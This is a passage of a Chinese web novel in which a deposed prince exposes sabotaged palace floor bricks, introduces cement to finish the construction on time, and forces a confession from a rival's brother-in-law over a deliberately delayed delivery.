“颜色深浅而已,有什么仔细看的?” 见乾帝不以为意的样子,李钰淡淡道:“颜色深浅不一,那是因为这块石头是被火烧过的。” 此话一出,一旁的陈子敬脸色突变。 看向李钰的眼神也多了几分惊骇! 他怎么知道这石头是被火烧过的? 淡淡瞥了一眼陈子敬,李钰嘴角露出一抹玩味的笑容来。 “陛下有所不知,这石材再坚固,一旦被火烧过就会脆的很。” “殿内铺砖,砖石下面会有含水的砂浆,水分虽然不多,但对于烧过的砖石来说也是极为致命。” “要不时间长了自然开裂,这个时间不会太长,一般三四天就会出现。” “要么就是施以外力龟裂,刚刚陛下那一脚就是外力。” 乾帝听到这话,拧眉看向李钰手中的那块砖石。 果然发现那砖石下面有淡淡烧灼过的痕迹。 “好端端的石头,为什么要烧了呢?” “当然是欺君了。” 李钰淡淡一笑。 “这砖石烧过之后,对于陛下来说便是可能受伤的问题,可见这么做的人,居心不良,有弑君之嫌!” “儿臣建议,陛下还是要严查此事,毕竟数量如此多,可不是这一两日能够烧出来的。” 李钰接任吴三友的位置,不过才几天时间。 如果说是他李钰下令烧过砖石的话,如此短的时间里绝对办不到。 那就说明这事儿从一开始就是旁人所为。 而这个人是谁,就值得商榷了。 肯定是跑不脱在这里监工的人。 陈子敬这时候已经被吓得不轻,低着脑袋,躬着身子战战兢兢,甚至都不敢和乾帝对视。 只是一瞬,乾帝就知道这事儿和陈子敬脱不开干系。 “陈爱卿,你能给朕一个解释吗?” 第47章 严惩不贷 乾帝从来都是一个自私的人,或者说皇帝都是如此。 哪里有什么忠诚良将,只不过是看皇帝需不需要你罢了。 陈子敬就是如此。 此人为万寿宫修建一事尽心尽力,在乾帝看来就是忠心耿耿。 但现在砖石有问题,又事涉自己圣体安危。 即便是过去这个在乾帝眼里忠心耿耿的大臣,这时候也是他怀疑的对象。 一句质问过后,那陈子敬扑通一声就跪倒在了地上。 “陛、陛下,臣……臣……” 见陈子敬支支吾吾半天说不出个话来,乾帝脸色愈发难看起来。 “来人,将陈子敬拿下,给朕严加审问!” 随着乾帝一声令下,立马有甲士上前,将那陈子敬架起,甚至都不给对方喊冤的机会,就这么硬生生被拉扯下去。 看着这一幕,乾帝冷哼一声回头看向李钰。 “你负责监管万寿宫修建一事,为何发现砖石有问题,还要让人铺上去?” 李钰闻言,眨了眨眼睛,开始装傻充愣。 “啊?儿臣什么时候说过铺之前就知道砖石有问题了?” 见李钰这幅模样,乾帝顿时呼吸一滞。 李钰还真没有说过自己早就知道这砖石有问题。 但看着李钰现在的样子,乾帝百分之百确定,李钰是故意不说的。 他就是想看自己出丑! 其中的大臣,偏偏要在他最在意的东西上动手脚! “你虽然不知道,但也要负责,朕念在你检举有功的份上,就先不追究这件事儿。” “但有一点,朕要你如期完工,若是完成不了,那朕就治你的罪!” 说完,乾帝便一甩袖袍,转身离开。 李钰目光落在乾帝离开的背影上,冷笑一声。 距离万寿宫截止的修建日期不过半个多月的时间,等到第二批砖石送到也依旧不够用。 延期可以说是板上钉钉的事! 这乾帝果然还是不愿意轻易放过自己。 “只是以为这样就能拿捏本王,你还是太天真了。” …… 离开万寿宫的现场,李钰便直接登上马车。 在一旁候着的赵俭之见李钰神态轻松,也是立马恭维了一句。 “恭贺殿下,看样子这一次没让那吴三友占到便宜。” 李钰嘴角一勾。 “陈子敬已经被拿下,说是要严审,但本王估计到了吴三友这里也就消停了。” “我那父皇,旁的本事没有,哄女人开心那是一等一的存在,吴贵妃那边撒个娇,他吴三友也就没什么事儿了。” 听闻此言,赵俭之也是无奈笑了笑。 天下敢这么编排皇帝的,也就只有李钰一人了。 “皇上也为难殿下了?” 正在闭目养神的李钰点了点头。 “意料之中的事情,这件事儿损了他的面子,总归是要找回来的,旁人身上找回来没什么成就感,唯有从本王身上找回来才行。” “只是本王凭什么给他这个面子?” 赵俭之也不敢言语,小心翼翼看着李钰问道:“那殿下接下来打算如何做?” “不就是铺地吗,什么铺不是铺?这一次本王要让他连个屁都放不出来。” “出城!陈玉楼那边还等着呢。” 赵俭之不敢怠慢,嘱咐了车夫一句之后,心中却也有些好奇起来。 前几天李钰就把陈玉楼派了出去,说是找什么东西,具体很少有人知道是什么。 现在听到李钰这么说,看样子是找到了李钰要的东西了。 而另一边,回到宫中的乾帝,此刻脸色要多难看有多难看。 “一群蠢货!” “栽赃陷害都弄不妥当,反倒是自己吃了大亏!” “朕怎么尽养一些蠢得挂相的人?” 听着殿内乾帝那愤怒的声音,守在殿下的晋王李泰也是一脸无奈。 乾帝回宫之前他就收到了消息。 万寿宫一行,乾帝按照计划发现了问题,但这黑锅却没有叩在李钰头上,反倒是被李钰识破了手段,反将陈子敬给拿下了。 得知这一消息之后,晋王李泰也是第一时间就来到了乾元殿。 没想到才刚刚来到殿外,就听到了乾帝那暴怒的声音。 一时间也有些犹豫起来。 正在徘徊的时候,殿内突然传来乾帝一声呵斥。 “滚进来!” 听到这声音的李泰一个激灵,旋即快步走进大殿。 眼角余光瞥了一眼怒气冲冲的乾帝,李泰这才急忙行了一礼。 “儿臣拜见父皇。” 见是李泰,乾帝压着怒气问道:“你来做什么?是因为万寿宫的事儿?” “儿臣听闻父皇去了万寿宫,险些伤了龙体,心中担心所以来看看,没想到惊扰了圣驾。” 听到这话,乾帝长叹一口气。 “如果所有人都和皇儿你一样关心朕,这朝堂怎么会变成现在这乌烟瘴气的样子!” “你那大哥,朕现在想起来就来气!” 见这怒火没有烧到自己头上来,李泰心中稍松了一口气,随后说道:“父皇息怒,大哥或许还在气头上,并不是故意冲撞父皇。” “他还生气?朕没有治他今天失察之罪,已经是对他开恩了!他还委屈了上了?” “朕已经给他机会了,时间到了万寿宫修建不好,朕要重重的治他的罪!” 听到这话的李泰心中一喜,但脸上却没有表现出来。 “儿臣倒是觉得,父皇还是对大哥太过苛责了,若是真的做不到,父皇岂不是真的要惩戒大哥?毕竟父子之情在,父皇您还得心疼大哥。” 听到这话的乾帝却是冷哼一声。 “朕心疼他?他何曾心疼过朕?” “这一次朕要让他知道疼!知道没了朕这个父皇的庇佑,他有多难!” “泰儿!你也不必给他求情,朕这一次定要让他吃吃苦头!” 见乾帝的怒火被自己勾起,李泰也知道自己的目的算是达到了,索性不再提及这事儿。 “父皇还是龙体为重,不要被气出问题来。” 乾帝听到这话,长舒一口气,随后看向李泰,满是欣慰道:“待你那讨人厌的大哥被朕处置之后,朕便要闭关修炼了。” “你这段时间多和朝中大臣交流,日后监国还要你出一份力呢。” 此话一出,李泰眼神瞬间明亮起来。 但随后又不敢表现的太过明显,迅速低下脑袋,躬身道:“儿臣愿为父皇分忧!” 第48章 烧制水泥 李钰的马车晃晃悠悠出了京城,在官道行驶了一会儿之后,就拐进了一条小路。 等到了地方之后,已经是半个时辰后的事儿了。 当赵俭之从马车里走出来的时候,才发现这车夫来的地方是一处山脚下的庄子。 大乾京城周围山水环绕,这地方应该在京城城北才对。 见李钰走出来,赵俭之急忙侯在一边。 “陈玉楼呢?” 一道身影急忙上前行了一礼,正是许久不见的陈玉楼。 “殿下,属下在。” “让你找的东西怎么样了?” 陈玉楼憨憨一笑,指着庄子说道:“就在这里了,一共二十多个砖窑,这地方是咱们京城地界,最大的砖窑了。” 听到这话,赵俭之也是眉头一挑。 “殿下打算自己烧制砖石?” 哪料,听到这话的李钰却是嗤笑一声。 “自己烧得烧到猴年马月啊?” “那殿下为什么找砖窑?” 李钰一边走,一边头都不回的解释道:“万寿宫所需要的砖石,按照现在的规制看,最少要十万块。” “算上第二批送到,眼下能用的砖石也不过五万余。” “刨除损耗,也就是说,咱们有近一半的缺口。” 说着,李钰停下脚步看向赵俭之。 “你知不知道这儿的砖窑,开足马力,一个月能烧多少砖石?” 赵俭之一脸茫然的摇了摇头。 李钰见状,淡淡道:“这里一个月开足马力也就只能烧制三万块砖石,就这还是每一窑都能用的地步。” “所以,凭借这里烧制砖石,先不说规制,单单是数量就不现实。” “那您来这里干什么?” 赵俭之满脸疑惑,既然都知道没用了,还要来这地方,这不是浪费时间吗? 闻言,李钰笑了笑。 “虽然说烧制砖石不赶趟了,但可以烧点别的。” “这地方足够大,开足马力烧制本王需要的东西,还是足够的。” 说话间,几人已经来到砖窑附近。 此刻,整个庄子里会烧制砖窑的工匠全都集中在一起。 见李钰走来,便齐刷刷的朝着李钰行了一礼。 “拜见幽王殿下!” 李钰颔首,随后问道:“你们谁是这里最大的工匠?” 话音落下,其中一位老者就走了出来。 “老朽宋玉星,敢问殿下有何吩咐?” 朝着那宋玉星招了招手,让其来到近前。 “识不识字?” 见宋玉星点了点头,李钰便将一张纸递给了对方。 “听说这地方盛产矿石,纸上写的你们这里可有?” 宋玉星看了一眼,随后说道:“都有,数量还不少,庄子里现在还有不少存货。” “只是这烧砖的配方奇怪,老朽没有见过。” 李钰听到这话心也随之放在了肚子里,随后轻笑道:“这可不是烧砖的。” “你让人尽快将这纸上的东西拿来,本王教你如何配比,你在将其投入火炉烧制。” 宋玉星闻言不敢怠慢,随后招呼了一声手下,开始忙碌起来。 大乾的工匠地位很低,像是宋玉星这样的老工匠,这辈子见过最大的官也就是县太爷了。 李钰这样的皇子,他可能这辈子都见不到一面。 因此,对于李钰的吩咐,宋玉星那是一点都不敢怠慢。 不过一会儿的功夫,就将李钰所需要的东西准备妥当。 石灰石,黏土,以及矿渣。 除了矿渣数量较少之外,其他的数量不算少数。 随后,李钰就开始丰富工匠们开始将这三样东西按照比例开始混合在一起,随后投入到了砖窑当中。 “就这样烧制最少两个时辰。” 见李钰这操作,宋玉星等人也是一脸不解。 想不明白李钰这到底是在烧制什么。 一股脑丢进去不说,还不塑型。 简直是闻所未闻,见所未见。 但李玉是皇子,他们也不敢多言,全当是李钰在这里玩儿了。 唯有赵俭之,这时候看着这一幕,满是期待。 他可太清楚李钰的手段了。 这砖窑肯定还会有惊喜! …… 时间一分一秒过去,很快就到了李钰说的时间。 工匠们手忙脚乱的将那先前投进去的东西取出来,看着那一大块宛若石头一样的东西,众人面露不解。 “这……烧了块石头?” 而看着那石头的颜色,李钰却是兴奋的很。 “快!将其杂碎研磨,本王有大用!” 就这样,众人听着李钰的要求,又开始忙碌起来。 将那大块‘石头’打碎研磨之后,一种灰色的粉末开始出现。 李钰捏了一点试了试手感,虽然糙了一些,但也并非是一无是处。 “拿水来!” 随着李玉一声令下,工匠们也是快速将一桶水提了过来。 在众人惊异的目光下,李钰开始给粉末拌水。 看着李钰这一手操作,众人也是面露难色。 这好端端的,幽王怎么开始玩儿起泥巴了? 但很快,众人就发现了不对劲。 李钰手中的那一块‘泥巴’塑性的效果很好。 当李钰将其弄好之后放在一边的太阳下,这才开口道:“先等等,看看效果。” 于是,李钰又带着一群人开始等待。 如今太阳高悬,温度也不算低,那‘泥巴’上的水很快就蒸发干净。 而那‘泥巴’的颜色也开始由深变浅,颜色愈发的接近石头。 等到差不多了,众人才看到李钰将其拿了起来。 就在李钰用手一捏,那‘泥巴’居然没有丝毫变形,众人的眼神都开始变化起来。 “这是变硬了?” “虽然说泥巴也能变硬,但这效果要好太多了。” “这是变成石头了?” 在众人惊异的语气中,李钰笑眯眯的解释道:“这东西叫做水泥,烧制之后研磨成粉末,需要使用的时候加一定量的水搅拌,静置一段时间后就会凝固,坚若山石。” “最主要的是,这东西可以按照你想要的形状来制作。” 说到这里,李钰微微一笑。 “本王刚刚等待的时候算过了,你们这一口砖窑就能够一次烧制最少三百斤水泥,一天最少能烧制四次。” “如果三班倒的话,只多不少。” “你们庄子里这样的砖窑最少有二十座,开足了马力生产,一天最少也有两万斤水泥了。” “算上研磨和运输的时间,本王十天之内要你们最少十五万斤水泥,你们愿不愿意做?” “一斤水泥,本王和你们一两银子。” 一两银子一斤水泥,那就是十五万两白银! 李钰这一张口,顿时就把宋玉星给唬住了。 他们庄子烧一年砖石,也赚不到这么多钱。 过了许久,才见宋玉星回过神来。 “烧制没有问题,价格自然更是没有问题。” “殿下放心,老朽就是拼了这一把老骨头,也得给您烧制出来这十五万斤水泥!” 第49章 必死无疑 十天十五万斤水泥,这个数字听起来很多,但其实三班倒来说不算是大问题。 唯一麻烦的就是这十五万斤水泥的原材料。 但宋玉星等人答应下来,那就说明他们有解决这个问题的办法。 既然如此,那他就不担心这个问题了。 只需要等待时间到了交货就好。 从庄子里出来之后,同车而行的赵俭之,还是一脸不可思议的模样。 显然还没有从水泥给他造成的震撼中走出来。 李钰观察了片刻后,旋即轻咳一声。 那听到动静的赵俭之,这才一个激灵回过神来看向李钰。 “殿下……” 见赵俭之那一脸尴尬的样子,李钰轻笑道:“怎么?还在琢磨水泥?” 赵俭之点了点头。 “学生读书无数,不敢说阅览天下所有书籍,但也算是博览群书了,但没有从任何一本古籍当中发现过有水泥这等神奇之物。” “殿下是如何知道的?” 看着一脸好学的赵俭之,李钰微微一笑。 “这确实不是普通古籍当中记载的,本王也是从一本书中学到的。” “什么书?” 此刻的赵俭之爆发出极大的兴趣。 在他看来,李钰既然看过,那这书应该还在才对。 “烧了。” “烧了?” 赵俭之顿时瞪大眼睛。 “什么人如此暴殄天物?都敢烧书?” 说话间,赵俭之那脸上还满是心疼之色。 李钰见状心中有些想笑,但还是一本正经的说道:“虽然说书烧了,但好在本王还记个大概,你要是想看,等回头去了宣化之后,本王再写给你看。” 赵俭之闻言大喜,当即就朝着李钰纳头就拜。 “殿下大恩大德,学生感佩莫名!” 见赵俭之的样子,李钰摆了摆手道:“不必这样,你是本王的手下,自然是有看这些东西的资格。” “不过今天这事儿,你回头记得保密。” “离京之前,本王不希望太多人知道水泥这东西。” “否则影响了进度,陛下没事儿干又找本王的麻烦。” 赵俭之忙不迭点了点头。 “属下一定保密!” 但随后,赵俭之又有些迟疑的看着李钰。 “殿下,这十五万斤水泥,就是十五万两银子,这钱是您出还是户部出?” 十五万两白银可不是个小数目。 李钰就算是再有钱,也不可能做这个冤大头。 “当然是朝廷拿钱,那万寿宫又不是给我用的,谁用谁出钱!” “可是朝廷有钱吗?” “没钱他建什么宫殿?放心这钱户部得连本带利的给本王拿出来。” “连本带利?”赵俭之眉头一挑,这什么说法? …… 吴府。 双脚受伤的吴三友还在府中养伤。 原本以为这一次李钰会因为砖石的问题不死也得脱层皮,但等了一天的他,最终等来了一个噩耗。 准确点说是乾帝降下一道斥责惩戒他的旨意。 “工部尚书吴三友,驭下不严,致使劣质砖石流入皇宫,险伤龙体!” “然,朕感念吴三友自万寿宫修建以来,殚精竭虑,忠心可鉴,加之主谋并非吴三友,特许免去重责,罚俸一年,居家闭门思过一月。” “钦此!” “臣谢主隆恩!” 一头雾水的吴三友在管家的搀扶下接过旨意,满是不解的看向传旨太监,低声询问道:“公公,敢问为何陛下会降下这么一道旨意?” “那砖石不是幽王监督铺设的吗?” 吴三友平日里出手大方,宫中太监大部分都收过其银子。 因此,对于吴三友态度还是不错。 见吴三友奇怪,那太监才将今天万寿宫发生的事儿转述了一遍。 听完之后,纵然是吴三友早有准备,也不由得愣在了原地。 “怎么这锅就成了陈子敬的了?” 太监摇了摇头,感慨道:“幽王口齿伶俐,丝毫不给陈大人机会,且识破了陈大人的办法,陛下无奈只能将陈大人拿下。” “依老奴看,吴大人还是幸运的很,没有牵扯上来,否则今日陛下也帮不了您。” 说完,那太监才告退下去。 吴三友呆立在原地,许久之后才回过神来。 随之而来的,便是那脸上逐渐凝聚的阴沉之色。 就在吴三友心中气恼不已的时候,晋王李泰突然登门。 “舅舅,你脚上有伤,不躺着休息在这里干什么?” 话一出口,李泰就看到了吴三友手中的旨意,心中顿时明了了大半。 “舅舅接到旨意了?” 吴三友神态僵硬的点了点头,脸上没有丝毫笑意。 见状,李泰这才开口宽慰道:“舅舅,不过是一道罚俸的旨意而已,你又不靠着那点银子活,再说禁足闭门思过,您这伤势哪儿也去不了,全当是父皇让你休息了。” 吴三友自然知道这些,但他真正生气的还是李钰没有得到应有的惩罚。 “晋王殿下无需担心老夫,老夫只是觉得李钰这一次逃脱有些失望罢了。” 听到吴三友这么说,李泰这才解释道:“原来舅舅是担心这个,我今天来就是给你带个消息。” “父皇回到宫中之后可以说是大发雷霆,倒也不全是因为陈子敬太蠢,还有幽王在万寿宫顶撞了他的原因。” “父皇下令,让我那大哥半月时间将所有的地砖问题解决,否则就严惩不贷。” “舅舅,我如果没记错,下一批砖石到了之后,我大哥他还是不够用是吧?” 吴三友在听到这个消息之后,眼神逐渐明亮起来。 “不错,下一批砖石就是最后一批了,即便是咱们不动手脚,李钰也绝对不可能够用。” “你确定陛下说了,他只要完成不了,就严惩不贷?” 李泰点了点头,很是肯定道:“千真万确,父皇回宫之后,自己生气的时候说的。” 确定李泰没有听错之后,吴三友眼睛转了转。 “这么说来,倒是可以操作一番。” “我即刻派人去通知一声押运官,让他延期送来砖石,拖上个一两日不成问题,陛下就算是追责也没什么。” “有什么事能够和完成不了工程这样的大事相比呢?” 听到吴三友要故意延期,李泰不免有些担心。 “反正也完成不了,晚送几天没必要吧?” 吴三友摇了摇头,眼神坚定道:“殿下不知,你那大哥阴谋诡计多端,如果不一次弄死他,难保他会有什么办法。” “所以,稳妥起见,还是将这砖石延期几日送到最为妥当。” “这件事殿下就不必关心和插手了,老夫亲自盯着!” 第50章 延期之罪 万寿宫的工程还在继续,将主殿内所有有问题的地砖替换之后,剩余能用的地砖也没了多少。 负责工程建设的官员,以及施工的工匠们,上上下下人心惶惶。 只因为那第二批砖石至今没有送到这里来。 虽然说即便是送到了也未必够用,但眼下这情况一块不送,他们必死无疑。 原本有些人还找过李钰,但李钰那不慌不忙的样子,让监造万寿宫的官员们心中很是担心。 几次找寻没了下文之后,众人也开始索性摆烂。 反正天塌了有个子高的顶着。 李钰自己不着急,他们着急也没用。 这天一早,负责万寿宫外围警戒的禁军,被李钰全部调了回来。 并且下令对整个万寿宫严加防范,哪怕是一只鸟也不能随意进出。 而负责监造万寿宫的工匠们,这时候也被召集起来。 看着那突然将自己召集起来的李钰,众人心中不免有些好奇,不明白李钰这葫芦里到底卖的什么药。 就在所有人都好奇不已的时候,那李钰的护卫也抬着一个袋子走了进来。 “诸位!今日本王给你们展示一物,都给本王警醒着点看仔细了!” “此物用好,不出三天咱们就能够将整个万寿宫的地面铺设完成。” “但有一点,万寿宫交付之日,今日在场之人不能有一个离开此地,若是有离开的,定斩不饶!” 众人一听这话,瞬间就意识到,李钰要给他们看的东西恐怕不一般。 要不然,不会下令不让他们离开此地半步。 眼下众人都被集中在了这里,就算是想不听也不可能了。 见没有人反对,李钰这才让人将那水泥袋划开。 只见那袋子中装的是一种灰色的粉末,看着倒是细腻的很。 “这是面?” “放屁,盖房子盖傻了?你家面这个颜色?” “看着不像是面,你看他们把里面的东西倒出来了,如果是粮食哪里能这么糟蹋?” “……” 现场众人议论纷纷,而李钰则是一边指挥着几人操作,一边开始解释起来。 “此物名为水泥,混合一定比例的水之后,会变成粘稠状的泥。” “将其填充在木框之中,压实振捣刮平之后,只需要静置一日,就可凝固成型。” “干了之后洒水养护一段时间,可防止开裂,彻底成型后坚如山石,操作起来也简单的很。” “当然了,其中也可以混着竹子,可加固一些。” 众人看着那几人操作,当水泥开始铺设刮平之后,虽然看着湿润,但确实是有些样子。 随后,李钰让人用直杆在那水泥面上轻压,一道道痕迹出现之后,让那原本平整的水泥就好像一块一块排列开的地砖一样! 看着这一幕,众人眼神也变得明亮起来。 “用直杆塑形,干透之后就会变得和铺设地砖差不多。” 说到这里,李钰环视了一眼看的入迷的工匠,笑眯眯问道:“诸位,就眼前这一块地,你们用砖石铺设,需要多久?” “那必然是没有这水泥快啊!” 人群中,有好事之人高声喊了一句,而剩下的人也是纷纷点头附和。 “这东西确实是简单了许多,如果效果差不多,堪称神物啊!” 工部官员们此刻也是被李钰这一番操作,惊得目瞪口呆。 见众人接受了此物,李钰便接着说道:“此物一会儿会大批量的送来,未来三天时间将会运来最少十五万斤水泥,用来铺设万寿宫外面的地面。” “铺设工具以及材料,本王会让人即时发放,今日开始各班轮班铺设,务必要在七天内将其全部铺设完毕,好留下干燥的时间。” “诸位如果还想活命,那就听本王的号令。” “当然了,一心求死之人也不必拖累大家,现在就可站出来,让本王一刀砍了,好让大家安心做事。” 见没有人反对,李钰嘴角微扬。 “开工!” 随着李钰一声令下,现场的工匠们霎时间欢呼起来,纷纷开始行动。 服劳役是要看结果的,若是结果不好,他们这劳役也是白白浪费了,日后还要找补回来。 因此,现场的工匠要比李钰想象中还要积极。 一时间,万寿宫的工地上也是变得热火朝天起来。 …… 京城外。 大队车马缓缓前行。 负责押送万寿宫所用石材的刘天宝,正靠坐在马车上,一脸悠闲的哼着小调。 脑子里还在回味昨夜在驿站休息是,那两个驿站妓女的骚媚入骨的味道。 时不时发出几声淫笑。 身为户部库使,也就是户部最底层的官吏,刘天宝其实不大可能接下来这种重任。 但这一次偏偏就是让他接了手,那就是因为他刘天宝的姐姐是户部尚书吴三友的正妻。 身为吴三友的小舅子,刘天宝靠着吴三友的关系进入户部。 虽然只是个八品小吏,但这一次押送万寿宫的石材,吴三友曾承诺,只要成功运到,他就能保举刘天宝升任正六品的户部清吏司主事。 从八品小吏变成正六品的户部主事,普通人可能需要一辈子,而他刘天宝只需要一个月! 押送石材这种小事儿,他就是栓条狗来都能干得好。 所以,刘天宝这一路回京,可以说是轻松的很。 但前两天,他突然收到吴三友的消息,让他路上找个理由拖延几日,晚上两天时间再回京城。 虽然说知道这是延期之罪,但想想吴三友是自己的姐夫,必然不会坑了自己,所以便遵照吴三友的意思,路上找借口拖延了几天。 按照原定的交付时间,今天已经是晚了两天时间了。 “大人,再有一个时辰就到万寿宫了,若是有人问起咱们延期的原因,应该如何回答?” 看着一脸谄媚笑容的手下凑过来,刘天宝脸色有些难看。 “没用的东西!老子没和你说过?” 说着就抬手在那手下的脑袋上敲了几下。 “下雨!下雨!下雨!” “官道泥泞,砖石沉重,本官担心砖石有损,所以行进缓慢了一些!” 被打了的手下立马点了点头。 “属下明白,属下知道如何说了!” 见手下捂着脑袋躲开,刘天宝也没有继续计较,而是开口嘱咐了一句。 “到了之后不要害怕,咱们背后站的是尚书大人,那幽王就是个被陛下废了的太子,早已没了权势。” “而且现在万寿宫缺少石材,交付日期将近,他李钰愁的是这个,就算是咱们按时将石材送到,他也不可能干的完。” “他哪里还有什么精力和咱们计较这些?” “他应该担心的是,陛下如何处置他!” 第51章 现在本王说了算 万寿宫主殿外的广场上,原本要铺设砖石的现场,此刻热火朝天。 工匠们将竹子藤条编织的网架整齐码放在框架内。 其实有些时候,竹子也能增强水泥的强度,前提是不用来做房子,做路还是不错的。 然后便有工匠将一桶桶搅拌好的水泥砂浆倒在框架里,其他人则是用刮子一点点将水泥砂浆均匀的铺开。 最后一些工匠在半凝固的水泥路面上,用提前做好的工具,在水泥面上留下仿造砖石缝隙的痕迹。 流水作业让工程进度加快了不止一倍。 就连不少工部的官员见了,也是感慨不已。 对待李钰的态度也是大大转变,异常的尊敬。 “殿下,外面守卫的禁军来报,说是第二批砖石已经送到,就在外面候着呢。” 听到禀报的内容,李钰回头看了一眼。 “林大人,今天是什么日子啊?” 被询问到的林裕昌微微一愣,随后毕恭毕敬的朝着李钰回应道:“回禀殿下,今天是四月初四。” “这第二批砖石按照规定,是要什么时候送到?” “回禀殿下,应该是四月初二。” “四月初二啊?” 李钰轻笑一声,看着林裕昌说道:“按照户部的规矩,失期是什么罪责?” “这……” 一听这话,林裕昌也瞬间僵在了原地。 虽然说户部也有失期一说,但罪责轻重却没有死规矩,一般都是负责此事的人决断。 根本不是他一个小小的户部主事说了算的。 而且这第二批砖石押送的人是吴尚书的小舅子。 原先的吴尚书负责万寿宫修建,肯定不会怎么样自己的小舅子,充其量就是罚点钱而已。 就算是换了其他人,也会看在吴尚书的面子上,不会过分责罚。 但眼前的可是李钰! 他如何处置,那可就不一定了。 见林裕昌一言不发,李钰微微笑道:“怎么?林大人有什么难言之隐?” 听到李钰追问,林裕昌无奈,只能将眼下的情况说了一遍。 而李钰听完之后,也是恍然大悟。 “原来是吴三友的小舅子啊。” 似笑非笑的看了一眼林裕昌,李钰随后下令。 “将人带进来吧,本王先见一见再说。” 林裕昌躬身应是,片刻后便将刘天宝带了进来。 此时此刻,刘天宝还是一脸倨傲。 昂首阔步走进来之后,看到李钰也是极其随意的行了一礼。 “下官刘天宝,见过幽王殿下。” 看着刘天宝那一脸倨傲的模样,李钰却没有直接发火,而是目光淡淡的看着刘天宝。 “刘天宝,本王有些好奇,你这户部库使一职,是如何坐上的?” 听到这话的刘天宝微微一愣。 这李钰见了自己没有聊砖石延期的事儿,也没有说其他的,反倒是询问自己这官职是怎么来的。 到底是什么意思? 犹豫了一下,刘天宝便解释道:“下官官职自然是科举考上的。” 闻言,李钰顿时做出一副恍然大悟的样子。 “哦,这是哪个瞎了眼的,选了你这么个没规没矩的东西,说个名字,本王定要参他一本!” 刘天宝闻言,霎时间愣在原地。 一时间居然没有反应过来。 而下一秒,李钰便是冷喝一声。 “陈玉楼!” “教教他规矩,告诉这个狗东西,面见本王应该如何行礼!” 话音刚落,站在李钰身后的陈玉楼就一个闪身来到刘天宝身后。 还不等那刘天宝反应过来,就一脚踹在了刘天宝的腿上。 却见那刘天宝身形一矮,整个人‘扑通’一声跪倒在了地上。 膝盖上剧烈的疼痛,让刘天宝顿时呲牙咧嘴起来。 “李钰!你怎敢?” “我姐夫可是户部尚书吴三友!” 听到这话,李钰顿时就笑了。 “吴三友?他又不是皇上,本王连皇上都敢骂,他算是个什么东西!” “给本王掌嘴!” 陈玉楼现在对李钰是言听计从。 抬手就是几个耳光甩了上去。 只是几下,那刘天宝脸颊就红肿起来。 然而,即便如此,李钰没有喊停,那陈玉楼的耳光也没停。 这一幕看的一旁的林裕昌是目瞪口呆。 这是往死里打的节奏啊! 十几个耳光下去,刘天宝已经口歪眼斜,脑袋肿的跟个猪头一样。 李钰见状,摆了摆手道:“好了,停手吧。” 闻言,陈玉楼这才停手,随后站在了一边。 而那刘天宝没了支撑,整个人也趴在了地上,进的气少出的气多。 只是李钰就好像没有看到这些一样,眼神轻蔑的看了一眼刘天宝,随后才切入正题。 “刘天宝,本王问你,为何原本四月初二就应该运抵的砖石,现在却晚了两日?” 迷迷糊糊的刘天宝听到这个问题,也不敢再像刚刚那样猖獗,而是战战兢兢的回答道:“路、路上遇到了大雨,道路泥泞,恐伤到砖石,所以行进、行进很慢。” 然而,李钰却并不满意这个答案。 “大雨?多大的雨?什么地方下了雨?” “按照时间推算,两天前你就应该到了京畿之地,如果有你说的这种大雨,早有京畿之地的地方官上报了。” “就算是没有上报,本王派人查问也能知道清楚。” “刘天宝,你最好是说实话。” “或者说,这罪责你如果真的想要一人扛下来,那本王就成全你。” “你不要忘了,如何处置失期罪名,全由负责万寿宫建设之人决断。” “你那姐夫现在还在家里养伤,万寿宫这里是本王说了算。” “你说说,本王会不会杀了你。” 此话一出,站在李钰身边的陈玉楼,就极其配合的将手压在了刀把上。 只等着李钰一声令下,他就拔刀砍人。 刘天宝似有所感,看着陈玉楼的动作,一个激灵站起身来。 “不要杀我!不要杀我!” “我说实话!说实话!” 刚刚一通耳光,已经让刘天宝意识到,李钰要杀他,陈玉楼是真的敢动手。 为了保住性命,刘天宝几乎没有任何犹豫,就把吴三友供了出来。 “是吴大人!吴大人告诉我让我晚到两天,他故意如此,就是不想要你完成工期。” 闻言,李钰眼底浮现出一抹精光。 “空口无凭,你指证的可是工部尚书,当朝二品大员,没有证据本王很难相信你啊。” “有证据!” 刘天宝一边说,一边开始疯狂在自己身上摸索起来,片刻后拿出一封信来,双手颤颤巍巍的递给了李钰。 “这、这是吴三友亲笔所书!” “里面内容就是他让我干的!” 第52章 疯狂的弹劾 距离万寿宫验收的日子,很快就到来。 这段时间,因为李钰下令,整个万寿宫都被封锁起来。 外面的人进不去,里面的人出不来。 谁都不知道这万寿宫里到底变成了什么样子。 虽然情况是这样,但外面的传闻却不少。 朝中传言,李钰之所以封锁万寿宫,就是为了防止丑闻泄露。 主殿地砖有问题,大批砖石不能使用,而第二批砖石也是迟迟没有送来。 这万寿宫的工期是必然要延后了。 如果是其他人负责,这件事儿只要不耽误陛下清修吉日,或许也不会太严重。 但偏偏这件事儿是李钰在负责。 先前几次朝堂冲突,幽王和陛下的关系已经降至冰点。 这一次如果不能如期完成,乾帝必然是要找李钰的麻烦。 因此,朝中不少人也是在看热闹。 想要看看李钰打算如何应对。 “杜伯伯,幽王如果不能如期完成,陛下当着你要严惩他?” 杜府后院。 苏庭雪神色担忧的看着杜玄礼,语气中满是担心。 这几日她想尽办法,想要见李钰一面,但无奈万寿宫被封锁,即便是她也不能随意进入。 明天就是验收的日子了,万寿宫里一直没有消息,苏庭雪说不担心那是假的。 杜玄礼此刻也是满脸无奈。 “庭雪,不要说你苏伯伯,便是陛下也不知道万寿宫内情况如何。” “老夫也一直派人在那边守着,前几日才得到消息,第二批砖石比原定的时间慢了两日。” “按照之前的速度来看,幽王这一次怕是要凶多吉少了。” 一听这话,苏庭雪脸色就白了几分。 “所以,失期交付已经是板上钉钉的事儿了?” 杜玄礼点了点头,稍作停顿后,才幽幽叹了一口气。 “如果只是简单失期还好,陛下念在亲情之上,后续不会惩处的太严重。” “但坏就坏在,这件事儿背后有六皇子以及吴三友他们在推波助澜。” “这几日老夫收到风声,他们已经多次上奏,弹劾李钰。” “而陛下也将这些奏折留中不发,显然是等着李钰犯错。” “老夫觉得,幽王这一次怕是要凶多吉少了。” 苏庭雪听到这里,脸色早已是惨白无比。 “杜伯伯是说,幽王恐有性命之危?” 杜玄礼犹豫了一下,点了点头。 见状,苏庭雪不由得呼吸一滞。 良久才回过神来。 只见那苏庭雪眼底浮现出几分坚定之色,站起身来朝着杜玄礼行了一礼。 “多谢伯伯,庭雪知道怎么做了。” 见苏庭雪这幅样子,杜玄礼脸色微变,开口道:“孩子,不要干傻事儿!” 